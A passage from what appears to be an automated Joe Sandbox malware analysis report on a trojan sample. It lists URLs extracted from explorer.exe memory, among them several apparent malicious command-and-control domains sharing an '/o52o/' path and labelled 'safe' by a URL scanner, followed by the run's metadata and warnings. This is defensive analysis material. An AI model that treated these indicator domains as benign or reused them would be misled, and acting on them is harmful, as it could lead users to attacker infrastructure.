0000001F.00000002.2725753053.00000000003D5000.00000002.00000001.01000000.0000000D.sdmp, gbkusncub.ppt.exe.exe.21.drfalse
                                                    		high
                                                    http://www.ybokiesite.onlineReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    http://www.eal-estate-90767.bondReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earningsexplorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.teplero.shopReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://www.indseniorjob881.clickexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://www.ichaellee.info/o52o/www.flegendarycap50.onlineexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&ocexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://www.mewtcp.xyz/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            http://www.uratool.netReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            http://www.arehouse-inventory-62571.bondReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            http://www.uratool.netexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://android.notify.windows.com/iOSexplorer.exe, 00000011.00000000.2334616202.000000000BFDF000.00000004.00000001.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://www.ee.zone/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              http://www.flegendarycap50.online/o52o/www.mewtcp.xyzexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              https://outlook.comeexplorer.exe, 00000011.00000003.2980892639.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4587304622.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2334616202.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.3076566560.000000000C086000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppexplorer.exe, 00000011.00000000.2331902622.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4583168633.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2979251014.00000000099AB000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-theexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    http://www.ome-decor-10002.bondReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    http://www.eal-estate-90767.bond/o52o/www.indseniorjob881.clickexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    http://www.ee.zoneexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    http://www.anion.app/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      http://www.indseniorjob881.click/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      http://www.eal-estate-90767.bond/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      http://www.mewtcp.xyzReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://api.msn.com/v1/news/Feed/Windows?explorer.exe, 00000011.00000002.4582512760.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000962B000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://www.jg-bw.appexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                        • Avira URL Cloud: safe
                                                                        		unknown
                                                                        http://www.ichaellee.info/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                        • Avira URL Cloud: safe
                                                                        		unknown
                                                                        https://api.msn.com/Iexplorer.exe, 00000011.00000002.4582512760.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000962B000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://schemas.microexplorer.exe, 00000011.00000000.2323483294.00000000028A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000011.00000000.2329652262.0000000007B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000011.00000000.2329675046.0000000007B60000.00000002.00000001.00040000.00000000.sdmpfalse
                                                                            		high
                                                                            http://www.ybokiesite.online/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.flegendarycap50.onlineReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.avannahholcomb.shop/o52o/www.ee.zoneexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.uratool.net/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.ome-decor-10002.bond/o52o/www.66hf918cz.autosexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://www.indseniorjob881.click/o52o/www.xs5.buzzexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://www.ome-decor-10002.bondexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-hexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-quexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://www.mewtcp.xyzexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  http://www.arehouse-inventory-62571.bond/o52o/www.ome-decor-10002.bondexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  http://www.ybokiesite.online/o52o/www.teplero.shopexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  http://www.ichaellee.infoexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  http://www.66hf918cz.autosReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  http://www.avannahholcomb.shop/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                  • Avira URL Cloud: safe
                                                                                  		unknown
                                                                                  https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhzexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://excel.office.com-explorer.exe, 00000011.00000003.2980892639.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4587304622.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2334616202.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.3076566560.000000000C086000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      http://www.avannahholcomb.shopReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svgexplorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-darkexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          http://www.flegendarycap50.online/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                          • Avira URL Cloud: safe
                                                                                          		unknown
                                                                                          https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AAexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://www.ybokiesite.onlineexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            http://www.66hf918cz.autosexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            http://www.ome-decor-10002.bond/o52o/explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-cexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              http://www.indseniorjob881.clickReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reveexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://www.ichaellee.infoReferer:explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                https://powerpoint.office.comEMdexplorer.exe, 00000011.00000002.4587304622.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2334616202.000000000BFEF000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nationexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    http://www.uratool.net/o52o/www.anion.appexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    		unknown
                                                                                                    http://www.eal-estate-90767.bondexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    		unknown
                                                                                                    http://www.ee.zone/o52o/www.jg-bw.appexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    		unknown
                                                                                                    https://api.msn.com/explorer.exe, 00000011.00000002.4582512760.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000962B000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      http://www.jg-bw.app/o52o/www.eal-estate-90767.bondexplorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      		unknown
                                                                                                      https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-darkexplorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        https://www.msn.com:443/en-us/feedexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-eiexplorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                              		high

                                                                                                              World Map of Contacted IPs

                                                                                                              ⊘No contacted IP infos

                                                                                                              General Information

                                                                                                              Joe Sandbox version:41.0.0 Charoite
                                                                                                              Analysis ID:1549395
                                                                                                              Start date and time:2024-11-05 15:53:10 +01:00
                                                                                                              Joe Sandbox product:CloudBasic
                                                                                                              Overall analysis duration:0h 13m 11s
                                                                                                              Hypervisor based Inspection enabled:false
                                                                                                              Report type:full
                                                                                                              Cookbook file name:default.jbs
                                                                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                              Number of analysed new started processes analysed:34
                                                                                                              Number of new started drivers analysed:0
                                                                                                              Number of existing processes analysed:0
                                                                                                              Number of existing drivers analysed:0
                                                                                                              Number of injected processes analysed:1
                                                                                                              Technologies:
                                                                                                              • HCA enabled
                                                                                                              • EGA enabled
                                                                                                              • AMSI enabled
                                                                                                              Analysis Mode:default
                                                                                                              Analysis stop reason:Timeout
                                                                                                              Sample name:mJIvCBk5vF.exe
                                                                                                              renamed because original name is a hash value
                                                                                                              Original Sample Name:6c13b65c7ffaef21388c60cc2be3370b35a729eb9e8986ce1abd3303e144896f.exe
                                                                                                              Detection:MAL
                                                                                                              Classification:mal100.troj.evad.winEXE@1360/47@10/0
                                                                                                              EGA Information:
                                                                                                              • Successful, ratio: 100%
                                                                                                              HCA Information:
                                                                                                              • Successful, ratio: 96%
                                                                                                              • Number of executed functions: 185
                                                                                                              • Number of non-executed functions: 241
                                                                                                              Cookbook Comments:
                                                                                                              • Found application associated with file extension: .exe
                                                                                                              • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                              Warnings

                                                                                                              • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                                                              • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                                                              • Not all processes where analyzed, report is missing behavior information
                                                                                                              • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                              • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                              • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                              • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                              • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                              • VT rate limit hit for: mJIvCBk5vF.exe

                                                                                                              Simulations

                                                                                                              Behavior and APIs

